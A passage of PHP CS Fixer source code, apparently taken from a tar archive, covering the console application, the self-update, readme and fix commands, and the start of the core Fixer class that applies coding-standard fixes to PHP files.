use Symfony\CS\Console\Command\SelfUpdateCommand;
use Symfony\CS\Fixer;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class Application extends BaseApplication
{
    /**
     * Constructor.
     */
    public function __construct()
    {
        error_reporting(-1);

        parent::__construct('PHP CS Fixer', Fixer::VERSION);

        $this->add(new FixCommand());
        $this->add(new ReadmeCommand());
        $this->add(new SelfUpdateCommand());
    }

    public function getLongVersion()
    {
        $version = parent::getLongVersion().' by <comment>Fabien Potencier</comment>';
        $commit = '@git-commit@';

        if ('@'.'git-commit@' !== $commit) {
            $version .= ' ('.substr($commit, 0, 7).')';
        }

        return $version;
    }
}
php-cs-fixer/Symfony/CS/Console/Command/SelfUpdateCommand.php000066600000007400151456236460020067 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Console\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\CS\ToolInfo;

/**
 * @author Igor Wiedler <igor@wiedler.ch>
 * @author Stephane PY <py.stephane1@gmail.com>
 * @author Grégoire Pineau <lyrixx@lyrixx.info>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class SelfUpdateCommand extends Command
{
    /**
     * {@inheritdoc}
     */
    protected function configure()
    {
        $this
            ->setName('self-update')
            ->setAliases(array('selfupdate'))
            ->setDescription('Update php-cs-fixer.phar to the latest version.')
            ->setHelp(<<<EOT
The <info>%command.name%</info> command replace your php-cs-fixer.phar by the
latest version from cs.sensiolabs.org.

<info>php php-cs-fixer.phar %command.name%</info>

EOT
            )
        ;
    }

    /**
     * {@inheritdoc}
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        if (!ToolInfo::isInstalledAsPhar()) {
            $output->writeln('<error>Self-update is available only for PHAR version.</error>');

            return 1;
        }

        $remoteTag = $this->getRemoteTag();

        if (null === $remoteTag) {
            $output->writeln('<error>Unable to determine newest version.</error>');

            return;
        }

        if ('v'.$this->getApplication()->getVersion() === $remoteTag) {
            $output->writeln('<info>php-cs-fixer is already up to date.</info>');

            return;
        }

        $remoteFilename = $this->buildVersionFileUrl($remoteTag);
        $localFilename = $_SERVER['argv'][0];
        $tempFilename = basename($localFilename, '.phar').'-tmp.phar';

        try {
            $copyResult = @copy($remoteFilename, $tempFilename);
            if (false === $copyResult) {
                $output->writeln('<error>Unable to download new versions from the server.</error>');

                return 1;
            }

            chmod($tempFilename, 0777 & ~umask());

            // test the phar validity
            $phar = new \Phar($tempFilename);
            // free the variable to unlock the file
            unset($phar);
            rename($tempFilename, $localFilename);

            $output->writeln('<info>php-cs-fixer updated.</info>');
        } catch (\Exception $e) {
            if (!$e instanceof \UnexpectedValueException && !$e instanceof \PharException) {
                throw $e;
            }

            unlink($tempFilename);
            $output->writeln(sprintf('<error>The download is corrupt (%s).</error>', $e->getMessage()));
            $output->writeln('<error>Please re-run the self-update command to try again.</error>');

            return 1;
        }
    }

    private function buildVersionFileUrl($tag)
    {
        return sprintf('https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/%s/php-cs-fixer.phar', $tag);
    }

    private function getRemoteTag()
    {
        $raw = file_get_contents(
            'https://api.github.com/repos/FriendsOfPHP/PHP-CS-Fixer/releases/latest',
            null,
            stream_context_create(array(
                'http' => array(
                    'header' => 'User-Agent: FriendsOfPHP/PHP-CS-Fixer',
                ),
            ))
        );

        if (false === $raw) {
            return;
        }

        $json = json_decode($raw, true);

        if (null === $json) {
            return;
        }

        return $json['tag_name'];
    }
}
php-cs-fixer/Symfony/CS/Console/Command/ReadmeCommand.php000066600000014346151456236460017237 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Console\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class ReadmeCommand extends Command
{
    /**
     * @see Command
     */
    protected function configure()
    {
        $this
            ->setName('readme')
            ->setDescription('Generates the README content, based on the fix command help')
        ;
    }

    /**
     * @see Command
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $header = <<<EOF
PHP Coding Standards Fixer
==========================

The PHP Coding Standards Fixer tool fixes *most* issues in your code when you
want to follow the PHP coding standards as defined in the PSR-1 and PSR-2
documents.

If you are already using ``PHP_CodeSniffer`` to identify coding standards
problems in your code, you know that fixing them by hand is tedious, especially
on large projects. This tool does the job for you.

Requirements
------------

PHP needs to be a minimum version of PHP 5.3.6.

Installation
------------

Locally
~~~~~~~

Download the `php-cs-fixer.phar`_ file and store it somewhere on your computer.

Globally (manual)
~~~~~~~~~~~~~~~~~

You can run these commands to easily access ``php-cs-fixer`` from anywhere on
your system:

.. code-block:: bash

    \$ wget %download.url% -O php-cs-fixer

or with curl:

.. code-block:: bash

    \$ curl -L %download.url% -o php-cs-fixer

then:

.. code-block:: bash

    \$ sudo chmod a+x php-cs-fixer
    \$ sudo mv php-cs-fixer /usr/local/bin/php-cs-fixer

Then, just run ``php-cs-fixer``.

Globally (Composer)
~~~~~~~~~~~~~~~~~~~

To install PHP-CS-Fixer, install Composer and issue the following command:

.. code-block:: bash

    $ ./composer.phar global require fabpot/php-cs-fixer

Then, make sure you have ``~/.composer/vendor/bin`` in your ``PATH``, and
you're good to go:

.. code-block:: bash

    export PATH="\$PATH:\$HOME/.composer/vendor/bin"

Globally (homebrew)
~~~~~~~~~~~~~~~~~~~

PHP-CS-Fixer is part of the homebrew-php project. Follow the installation
instructions at https://github.com/homebrew/homebrew-php if you don't
already have it.

.. code-block:: bash

    \$ brew install homebrew/php/php-cs-fixer

Update
------

Locally
~~~~~~~

The ``self-update`` command tries to update ``php-cs-fixer`` itself:

.. code-block:: bash

    \$ php php-cs-fixer.phar self-update

Globally (manual)
~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    \$ sudo php-cs-fixer self-update

Globally (Composer)
~~~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    \$ ./composer.phar global update fabpot/php-cs-fixer

Globally (homebrew)
~~~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    \$ brew upgrade php-cs-fixer

Usage
-----

EOF;

        $footer = <<<EOF

Helpers
-------

Dedicated plugins exist for:

* `Atom`_
* `NetBeans`_
* `PhpStorm`_
* `Sublime Text`_
* `Vim`_

Contribute
----------

The tool comes with quite a few built-in fixers and finders, but everyone is
more than welcome to `contribute`_ more of them.

Fixers
~~~~~~

A *fixer* is a class that tries to fix one CS issue (a ``Fixer`` class must
implement ``FixerInterface``).

Configs
~~~~~~~

A *config* knows about the CS level and the files and directories that must be
scanned by the tool when run in the directory of your project. It is useful for
projects that follow a well-known directory structures (like for Symfony
projects for instance).

.. _php-cs-fixer.phar: %download.url%
.. _Atom:              https://github.com/Glavin001/atom-beautify
.. _NetBeans:          http://plugins.netbeans.org/plugin/49042/php-cs-fixer
.. _PhpStorm:          http://tzfrs.de/2015/01/automatically-format-code-to-match-psr-standards-with-phpstorm
.. _Sublime Text:      https://github.com/benmatselby/sublime-phpcs
.. _Vim:               https://github.com/stephpy/vim-php-cs-fixer
.. _contribute:        https://github.com/FriendsOfPhp/php-cs-fixer/blob/master/CONTRIBUTING.md

EOF;

        $downloadUrl = $this->getLatestDownloadUrl();

        $command = $this->getApplication()->get('fix');
        $help = $command->getHelp();
        $help = str_replace('%command.full_name%', 'php-cs-fixer.phar '.$command->getName(), $help);
        $help = str_replace('%command.name%', $command->getName(), $help);
        $help = preg_replace('#</?(comment|info)>#', '``', $help);
        $help = preg_replace('#^(\s+)``(.+)``$#m', '$1$2', $help);
        $help = preg_replace('#^ \* ``(.+)``#m', '* **$1**', $help);
        $help = preg_replace("#^\n( +)#m", "\n.. code-block:: bash\n\n$1", $help);
        $help = preg_replace("#^\.\. code-block:: bash\n\n( +<\?php)#m", ".. code-block:: php\n\n$1", $help);
        $help = preg_replace_callback(
            "#^\s*<\?php.*?\?>#ms",
            function ($matches) {
                return preg_replace("#\n\n +\?>#", '', preg_replace("#^\.\. code-block:: bash\n\n#m", '', $matches[0]));
            },
            $help
        );
        $help = preg_replace('#^                        #m', '  ', $help);
        $help = preg_replace('#\*\* +\[#', '** [', $help);
        $header = str_replace('%download.url%', $downloadUrl, $header);
        $footer = str_replace('%download.url%', $downloadUrl, $footer);

        $output->write($header."\n".$help."\n".$footer);
    }

    private function getLatestDownloadUrl()
    {
        $currentMajor = (int) $this->getApplication()->getVersion();

        $changelog = file_get_contents(__DIR__.'/../../../../CHANGELOG.md');
        preg_match('/Changelog for (v'.$currentMajor.'.\d+.\d+)/', $changelog, $matches);

        if (2 !== count($matches)) {
            throw new \RuntimeException('Invalid changelog data!');
        }

        return sprintf(
            'https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/%s/php-cs-fixer.phar',
            $matches[1]
        );
    }
}
php-cs-fixer/Symfony/CS/Console/Command/FixCommand.php000066600000051413151456236460016564 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Console\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\ConsoleOutputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\EventDispatcher\EventDispatcher;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\Stopwatch\Stopwatch;
use Symfony\CS\Config\Config;
use Symfony\CS\ConfigInterface;
use Symfony\CS\ConfigurationResolver;
use Symfony\CS\ErrorsManager;
use Symfony\CS\Fixer;
use Symfony\CS\FixerFileProcessedEvent;
use Symfony\CS\FixerInterface;
use Symfony\CS\LintManager;
use Symfony\CS\StdinFileInfo;
use Symfony\CS\Utils;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class FixCommand extends Command
{
    /**
     * EventDispatcher instance.
     *
     * @var EventDispatcher
     */
    protected $eventDispatcher;

    /**
     * ErrorsManager instance.
     *
     * @var ErrorsManager
     */
    protected $errorsManager;

    /**
     * Stopwatch instance.
     *
     * @var Stopwatch
     */
    protected $stopwatch;

    /**
     * Fixer instance.
     *
     * @var Fixer
     */
    protected $fixer;

    /**
     * Config instance.
     *
     * @var ConfigInterface
     */
    protected $defaultConfig;

    /**
     * @param Fixer|null           $fixer
     * @param ConfigInterface|null $config
     */
    public function __construct(Fixer $fixer = null, ConfigInterface $config = null)
    {
        $this->defaultConfig = $config ?: new Config();
        $this->eventDispatcher = new EventDispatcher();
        $this->errorsManager = new ErrorsManager();
        $this->stopwatch = new Stopwatch();

        $this->fixer = $fixer ?: new Fixer();
        $this->fixer->registerBuiltInFixers();
        $this->fixer->registerBuiltInConfigs();
        $this->fixer->setStopwatch($this->stopwatch);
        $this->fixer->setErrorsManager($this->errorsManager);

        parent::__construct();
    }

    /**
     * @see Command
     */
    protected function configure()
    {
        $this
            ->setName('fix')
            ->setDefinition(
                array(
                    new InputArgument('path', InputArgument::OPTIONAL, 'The path', null),
                    new InputOption('config', '', InputOption::VALUE_REQUIRED, 'The configuration name', null),
                    new InputOption('config-file', '', InputOption::VALUE_OPTIONAL, 'The path to a .php_cs file ', null),
                    new InputOption('dry-run', '', InputOption::VALUE_NONE, 'Only shows which files would have been modified'),
                    new InputOption('level', '', InputOption::VALUE_REQUIRED, 'The level of fixes (can be psr0, psr1, psr2, or symfony (formerly all))', null),
                    new InputOption('fixers', '', InputOption::VALUE_REQUIRED, 'A list of fixers to run'),
                    new InputOption('diff', '', InputOption::VALUE_NONE, 'Also produce diff for each file'),
                    new InputOption('format', '', InputOption::VALUE_REQUIRED, 'To output results in other formats', 'txt'),
                )
            )
            ->setDescription('Fixes a directory or a file')
            ->setHelp(<<<EOF
The <info>%command.name%</info> command tries to fix as much coding standards
problems as possible on a given file or directory:

    <info>php %command.full_name% /path/to/dir</info>
    <info>php %command.full_name% /path/to/file</info>

The <comment>--verbose</comment> option show applied fixers. When using ``txt`` format (default one) it will also displays progress notification.

The <comment>--level</comment> option limits the fixers to apply on the
project:

    <info>php %command.full_name% /path/to/project --level=psr0</info>
    <info>php %command.full_name% /path/to/project --level=psr1</info>
    <info>php %command.full_name% /path/to/project --level=psr2</info>
    <info>php %command.full_name% /path/to/project --level=symfony</info>

By default, all PSR-2 fixers and some additional ones are run. The "contrib
level" fixers cannot be enabled via this option; you should instead set them
manually by their name via the <comment>--fixers</comment> option.

The <comment>--fixers</comment> option lets you choose the exact fixers to
apply (the fixer names must be separated by a comma):

    <info>php %command.full_name% /path/to/dir --fixers=linefeed,short_tag,indentation</info>

You can also blacklist the fixers you don't want by placing a dash in front of the fixer name, if this is more convenient,
using <comment>-name_of_fixer</comment>:

    <info>php %command.full_name% /path/to/dir --fixers=-short_tag,-indentation</info>

When using combination with exact and blacklist fixers, apply exact fixers along with above blacklisted result:

    <info>php php-cs-fixer.phar fix /path/to/dir --fixers=linefeed,-short_tag</info>

A combination of <comment>--dry-run</comment> and <comment>--diff</comment> will
display summary of proposed fixes, leaving your files unchanged.

The command can also read from standard input, in which case it won't
automatically fix anything:

    <info>cat foo.php | php %command.full_name% --diff -</info>

Choose from the list of available fixers:

{$this->getFixersHelp()}

The <comment>--config</comment> option customizes the files to analyse, based
on some well-known directory structures:

    <comment># For the Symfony 2.3+ branch</comment>
    <info>php %command.full_name% /path/to/sf23 --config=sf23</info>

Choose from the list of available configurations:

{$this->getConfigsHelp()}
The <comment>--dry-run</comment> option displays the files that need to be
fixed but without actually modifying them:

    <info>php %command.full_name% /path/to/code --dry-run</info>

Instead of using command line options to customize the fixer, you can save the
configuration in a <comment>.php_cs</comment> file in the root directory of
your project. The file must return an instance of
``Symfony\CS\ConfigInterface``, which lets you configure the fixers, the level, the files,
and directories that need to be analyzed. The example below will add two contrib fixers
to the default list of symfony-level fixers:

    <?php

    \$finder = Symfony\CS\Finder\DefaultFinder::create()
        ->exclude('somedir')
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->fixers(array('strict_param', 'short_array_syntax'))
        ->finder(\$finder)
    ;

    ?>

If you want complete control over which fixers you use, you may use the empty level and
then specify all fixers to be used:

    <?php

    \$finder = Symfony\CS\Finder\DefaultFinder::create()
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->level(Symfony\CS\FixerInterface::NONE_LEVEL)
        ->fixers(array('trailing_spaces', 'encoding'))
        ->finder(\$finder)
    ;

    ?>

You may also use a blacklist for the Fixers instead of the above shown whitelist approach.
The following example shows how to use all ``symfony`` Fixers but the ``psr0`` fixer.
Note the additional <comment>-</comment> in front of the Fixer name.

    <?php

    \$finder = Symfony\CS\Finder\DefaultFinder::create()
        ->exclude('somedir')
        ->in(__DIR__)
    ;

    return Symfony\CS\Config\Config::create()
        ->fixers(array('-psr0'))
        ->finder(\$finder)
    ;

    ?>

The ``symfony`` level is set by default, you can also change the default level:

    <?php

    return Symfony\CS\Config\Config::create()
        ->level(Symfony\CS\FixerInterface::PSR2_LEVEL)
    ;

    ?>

In combination with these config and command line options, you can choose various usage.

For example, default level is ``symfony``, but if you also don't want to use
the ``psr0`` fixer, you can specify the ``--fixers="-psr0"`` option.

But if you use the ``--fixers`` option with only exact fixers,
only those exact fixers are enabled whether or not level is set.

With the <comment>--config-file</comment> option you can specify the path to the
<comment>.php_cs</comment> file.

Caching
-------

You can enable caching by returning a custom config with caching enabled. This will
speed up further runs.

    <?php

    return Symfony\CS\Config\Config::create()
        ->setUsingCache(true)
    ;

    ?>
EOF
            );
    }

    /**
     * @see Command
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $path = $input->getArgument('path');

        $stdin = false;

        if ('-' === $path) {
            $stdin = true;

            // Can't write to STDIN
            $input->setOption('dry-run', true);
        }

        if (null !== $path) {
            $filesystem = new Filesystem();
            if (!$filesystem->isAbsolutePath($path)) {
                $path = getcwd().DIRECTORY_SEPARATOR.$path;
            }
        }

        $configFile = $input->getOption('config-file');
        if (null === $configFile) {
            $configDir = $path;

            if (is_file($path) && $dirName = pathinfo($path, PATHINFO_DIRNAME)) {
                $configDir = $dirName;
            } elseif ($stdin || null === $path) {
                $configDir = getcwd();
                // path is directory
            }
            $configFile = $configDir.DIRECTORY_SEPARATOR.'.php_cs';
        }

        if ($input->getOption('config')) {
            $config = null;
            foreach ($this->fixer->getConfigs() as $c) {
                if ($c->getName() === $input->getOption('config')) {
                    $config = $c;
                    break;
                }
            }

            if (null === $config) {
                throw new \InvalidArgumentException(sprintf('The configuration "%s" is not defined.', $input->getOption('config')));
            }
        } elseif (file_exists($configFile)) {
            $config = include $configFile;
            // verify that the config has an instance of Config
            if (!$config instanceof Config) {
                throw new \UnexpectedValueException(sprintf('The config file "%s" does not return a "Symfony\CS\Config\Config" instance. Got: "%s".', $configFile, is_object($config) ? get_class($config) : gettype($config)));
            }

            if ('txt' === $input->getOption('format')) {
                $output->writeln(sprintf('Loaded config from "%s"', $configFile));
            }
        } else {
            $config = $this->defaultConfig;
        }

        if ($config->usingLinter()) {
            $this->fixer->setLintManager(new LintManager());
        }

        if (is_file($path)) {
            $config->finder(new \ArrayIterator(array(new \SplFileInfo($path))));
        } elseif ($stdin) {
            $config->finder(new \ArrayIterator(array(new StdinFileInfo())));
        } elseif (null !== $path) {
            $config->setDir($path);
        }

        if ($output instanceof ConsoleOutputInterface && extension_loaded('xdebug')) {
            $stdErr = $output->getErrorOutput();
            $stdErr->writeln(sprintf($stdErr->isDecorated() ? '<bg=yellow;fg=black;>%s</>' : '%s', 'You are running php-cs-fixer with xdebug enabled. This has a major impact on runtime performance.'));
        }

        $verbosity = $output->getVerbosity();

        // register custom fixers from config
        $this->fixer->registerCustomFixers($config->getCustomFixers());

        $resolver = new ConfigurationResolver();
        $resolver
            ->setAllFixers($this->fixer->getFixers())
            ->setConfig($config)
            ->setOptions(array(
                'level' => $input->getOption('level'),
                'fixers' => $input->getOption('fixers'),
                'progress' => (OutputInterface::VERBOSITY_VERBOSE <= $verbosity) && 'txt' === $input->getOption('format'),
            ))
            ->resolve();

        $config->fixers($resolver->getFixers());
        $showProgress = $resolver->getProgress();

        if ($showProgress) {
            $fileProcessedEventListener = function (FixerFileProcessedEvent $event) use ($output) {
                $output->write($event->getStatusAsString());
            };

            $this->fixer->setEventDispatcher($this->eventDispatcher);
            $this->eventDispatcher->addListener(FixerFileProcessedEvent::NAME, $fileProcessedEventListener);
        }

        $this->stopwatch->start('fixFiles');
        $changed = $this->fixer->fix($config, $input->getOption('dry-run'), $input->getOption('diff'));
        $this->stopwatch->stop('fixFiles');

        if ($showProgress) {
            $this->fixer->setEventDispatcher(null);
            $this->eventDispatcher->removeListener(FixerFileProcessedEvent::NAME, $fileProcessedEventListener);
            $output->writeln('');

            $legend = array();
            foreach (FixerFileProcessedEvent::getStatusMap() as $status) {
                if ($status['symbol'] && $status['description']) {
                    $legend[] = $status['symbol'].'-'.$status['description'];
                }
            }

            $output->writeln('Legend: '.implode(', ', array_unique($legend)));
        }

        $i = 1;

        switch ($input->getOption('format')) {
            case 'txt':
                foreach ($changed as $file => $fixResult) {
                    $output->write(sprintf('%4d) %s', $i++, $file));

                    if (OutputInterface::VERBOSITY_VERBOSE <= $verbosity) {
                        $output->write(sprintf(' (<comment>%s</comment>)', implode(', ', $fixResult['appliedFixers'])));
                    }

                    if ($input->getOption('diff')) {
                        $output->writeln('');
                        $output->writeln('<comment>      ---------- begin diff ----------</comment>');
                        $output->writeln($fixResult['diff']);
                        $output->writeln('<comment>      ---------- end diff ----------</comment>');
                    }

                    $output->writeln('');
                }

                if (OutputInterface::VERBOSITY_DEBUG <= $verbosity) {
                    $output->writeln('Fixing time per file:');

                    foreach ($this->stopwatch->getSectionEvents('fixFile') as $file => $event) {
                        if ('__section__' === $file) {
                            continue;
                        }

                        $output->writeln(sprintf('[%.3f s] %s', $event->getDuration() / 1000, $file));
                    }

                    $output->writeln('');
                }

                $fixEvent = $this->stopwatch->getEvent('fixFiles');
                $output->writeln(sprintf('%s all files in %.3f seconds, %.3f MB memory used', $input->getOption('dry-run') ? 'Checked' : 'Fixed', $fixEvent->getDuration() / 1000, $fixEvent->getMemory() / 1024 / 1024));
                break;
            case 'xml':
                $dom = new \DOMDocument('1.0', 'UTF-8');
                $filesXML = $dom->createElement('files');
                $dom->appendChild($filesXML);

                foreach ($changed as $file => $fixResult) {
                    $fileXML = $dom->createElement('file');
                    $fileXML->setAttribute('id', $i++);
                    $fileXML->setAttribute('name', $file);
                    $filesXML->appendChild($fileXML);

                    if (OutputInterface::VERBOSITY_VERBOSE <= $verbosity) {
                        $appliedFixersXML = $dom->createElement('applied_fixers');
                        $fileXML->appendChild($appliedFixersXML);

                        foreach ($fixResult['appliedFixers'] as $appliedFixer) {
                            $appliedFixerXML = $dom->createElement('applied_fixer');
                            $appliedFixerXML->setAttribute('name', $appliedFixer);
                            $appliedFixersXML->appendChild($appliedFixerXML);
                        }
                    }

                    if ($input->getOption('diff')) {
                        $diffXML = $dom->createElement('diff');
                        $diffXML->appendChild($dom->createCDATASection($fixResult['diff']));
                        $fileXML->appendChild($diffXML);
                    }
                }

                $dom->formatOutput = true;
                $output->write($dom->saveXML());
                break;
            case 'json':
                $jFiles = array();

                foreach ($changed as $file => $fixResult) {
                    $jfile = array('name' => $file);

                    if (OutputInterface::VERBOSITY_VERBOSE <= $verbosity) {
                        $jfile['appliedFixers'] = $fixResult['appliedFixers'];
                    }

                    if ($input->getOption('diff')) {
                        $jfile['diff'] = $fixResult['diff'];
                    }

                    $jFiles[] = $jfile;
                }

                $fixEvent = $this->stopwatch->getEvent('fixFiles');

                $json = array(
                    'files' => $jFiles,
                    'memory' => round($fixEvent->getMemory() / 1024 / 1024, 3),
                    'time' => array(
                        'total' => round($fixEvent->getDuration() / 1000, 3),
                    ),
                );

                if (OutputInterface::VERBOSITY_DEBUG <= $verbosity) {
                    $jFileTime = array();

                    foreach ($this->stopwatch->getSectionEvents('fixFile') as $file => $event) {
                        if ('__section__' === $file) {
                            continue;
                        }

                        $jFileTime[$file] = round($event->getDuration() / 1000, 3);
                    }

                    $json['time']['files'] = $jFileTime;
                }

                $output->write(json_encode($json));
                break;
            default:
                throw new \InvalidArgumentException(sprintf('The format "%s" is not defined.', $input->getOption('format')));
        }

        if (!$this->errorsManager->isEmpty()) {
            $output->writeLn('');
            $output->writeLn('Files that were not fixed due to internal error:');

            foreach ($this->errorsManager->getErrors() as $i => $error) {
                $output->writeLn(sprintf('%4d) %s', $i + 1, $error['filepath']));
            }
        }

        return empty($changed) ? 0 : 1;
    }

    protected function getFixersHelp()
    {
        $help = '';
        $maxName = 0;
        $fixers = $this->fixer->getFixers();

        // sort fixers by level and name
        usort(
            $fixers,
            function (FixerInterface $a, FixerInterface $b) {
                $cmp = Utils::cmpInt($a->getLevel(), $b->getLevel());

                if (0 !== $cmp) {
                    return $cmp;
                }

                return strcmp($a->getName(), $b->getName());
            }
        );

        foreach ($fixers as $fixer) {
            if (strlen($fixer->getName()) > $maxName) {
                $maxName = strlen($fixer->getName());
            }
        }

        $count = count($fixers) - 1;
        foreach ($fixers as $i => $fixer) {
            $chunks = explode("\n", wordwrap(sprintf("[%s]\n%s", $this->fixer->getLevelAsString($fixer), $fixer->getDescription()), 72 - $maxName, "\n"));
            $help .= sprintf(" * <comment>%s</comment>%s %s\n", $fixer->getName(), str_repeat(' ', $maxName - strlen($fixer->getName())), array_shift($chunks));
            while ($c = array_shift($chunks)) {
                $help .= str_repeat(' ', $maxName + 4).$c."\n";
            }

            if ($count !== $i) {
                $help .= "\n";
            }
        }

        return $help;
    }

    protected function getConfigsHelp()
    {
        $help = '';
        $maxName = 0;

        $configs = $this->fixer->getConfigs();

        usort(
            $configs,
            function (ConfigInterface $a, ConfigInterface $b) {
                return strcmp($a->getName(), $b->getName());
            }
        );

        foreach ($configs as $config) {
            if (strlen($config->getName()) > $maxName) {
                $maxName = strlen($config->getName());
            }
        }

        $count = count($this->fixer->getConfigs()) - 1;
        foreach ($configs as $i => $config) {
            $chunks = explode("\n", wordwrap($config->getDescription(), 72 - $maxName, "\n"));
            $help .= sprintf(" * <comment>%s</comment>%s %s\n", $config->getName(), str_repeat(' ', $maxName - strlen($config->getName())), array_shift($chunks));
            while ($c = array_shift($chunks)) {
                $help .= str_repeat(' ', $maxName + 4).$c."\n";
            }

            if ($count !== $i) {
                $help .= "\n";
            }
        }

        return $help;
    }
}
php-cs-fixer/Symfony/CS/Fixer.php000066600000030536151456236460012637 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use SebastianBergmann\Diff\Differ;
use Symfony\Component\EventDispatcher\EventDispatcher;
use Symfony\Component\Finder\Finder;
use Symfony\Component\Finder\SplFileInfo as FinderSplFileInfo;
use Symfony\Component\Stopwatch\Stopwatch;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class Fixer
{
    const VERSION = '1.11.6';

    protected $fixers = array();
    protected $configs = array();

    /**
     * Differ instance.
     *
     * @var Differ
     */
    protected $diff;

    /**
     * EventDispatcher instance.
     *
     * @var EventDispatcher|null
     */
    protected $eventDispatcher;

    /**
     * ErrorsManager instance.
     *
     * @var ErrorsManager|null
     */
    protected $errorsManager;

    /**
     * LintManager instance.
     *
     * @var LintManager|null
     */
    protected $lintManager;

    /**
     * Stopwatch instance.
     *
     * @var Stopwatch|null
     */
    protected $stopwatch;

    public function __construct()
    {
        $this->diff = new Differ();
    }

    public function registerBuiltInFixers()
    {
        foreach (Finder::create()->files()->in(__DIR__.'/Fixer') as $file) {
            $relativeNamespace = $file->getRelativePath();
            $class = 'Symfony\\CS\\Fixer\\'.($relativeNamespace ? $relativeNamespace.'\\' : '').$file->getBasename('.php');
            $this->addFixer(new $class());
        }
    }

    /**
     * @param FixerInterface[] $fixers
     */
    public function registerCustomFixers(array $fixers)
    {
        foreach ($fixers as $fixer) {
            $this->addFixer($fixer);
        }
    }

    public function addFixer(FixerInterface $fixer)
    {
        $this->fixers[] = $fixer;
    }

    /**
     * @return FixerInterface[]
     */
    public function getFixers()
    {
        $this->fixers = $this->sortFixers($this->fixers);

        return $this->fixers;
    }

    public function registerBuiltInConfigs()
    {
        foreach (Finder::create()->files()->in(__DIR__.'/Config') as $file) {
            $relativeNamespace = $file->getRelativePath();
            $class = 'Symfony\\CS\\Config\\'.($relativeNamespace ? $relativeNamespace.'\\' : '').$file->getBasename('.php');
            $this->addConfig(new $class());
        }
    }

    public function addConfig(ConfigInterface $config)
    {
        $this->configs[] = $config;
    }

    public function getConfigs()
    {
        return $this->configs;
    }

    /**
     * Fixes all files for the given finder.
     *
     * @param ConfigInterface $config A ConfigInterface instance
     * @param bool            $dryRun Whether to simulate the changes or not
     * @param bool            $diff   Whether to provide diff
     *
     * @return array
     */
    public function fix(ConfigInterface $config, $dryRun = false, $diff = false)
    {
        $fixers = $this->prepareFixers($config);
        $fixers = $this->sortFixers($fixers);

        $changed = array();
        if ($this->stopwatch) {
            $this->stopwatch->openSection();
        }

        $fileCacheManager = new FileCacheManager($config->usingCache(), $config->getDir(), $fixers);

        $finder = $config->getFinder();
        $finderIterator = $finder instanceof \IteratorAggregate ? $finder->getIterator() : $finder;

        foreach (new UniqueFileIterator($finderIterator) as $file) {
            if ($this->stopwatch) {
                $this->stopwatch->start($this->getFileRelativePathname($file));
            }

            if ($fixInfo = $this->fixFile($file, $fixers, $dryRun, $diff, $fileCacheManager)) {
                $changed[$this->getFileRelativePathname($file)] = $fixInfo;
            }

            if ($this->stopwatch) {
                $this->stopwatch->stop($this->getFileRelativePathname($file));
            }
        }

        if ($this->stopwatch) {
            $this->stopwatch->stopSection('fixFile');
        }

        return $changed;
    }

    public function fixFile(\SplFileInfo $file, array $fixers, $dryRun, $diff, FileCacheManager $fileCacheManager)
    {
        $new = $old = file_get_contents($file->getRealpath());

        if (
            '' === $old
            || !$fileCacheManager->needFixing($this->getFileRelativePathname($file), $old)
            // PHP 5.3 has a broken implementation of token_get_all when the file uses __halt_compiler() starting in 5.3.6
            || (PHP_VERSION_ID >= 50306 && PHP_VERSION_ID < 50400 && false !== stripos($old, '__halt_compiler()'))
        ) {
            if ($this->eventDispatcher) {
                $this->eventDispatcher->dispatch(
                    FixerFileProcessedEvent::NAME,
                    FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_SKIPPED)
                );
            }

            return;
        }

        if ($this->lintManager && !$this->lintManager->createProcessForFile($file->getRealpath())->isSuccessful()) {
            if ($this->eventDispatcher) {
                $this->eventDispatcher->dispatch(
                    FixerFileProcessedEvent::NAME,
                    FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_INVALID)
                );
            }

            return;
        }

        $appliedFixers = array();

        // we do not need Tokens to still caching previously fixed file - so clear the cache
        Tokens::clearCache();

        try {
            foreach ($fixers as $fixer) {
                if (!$fixer->supports($file)) {
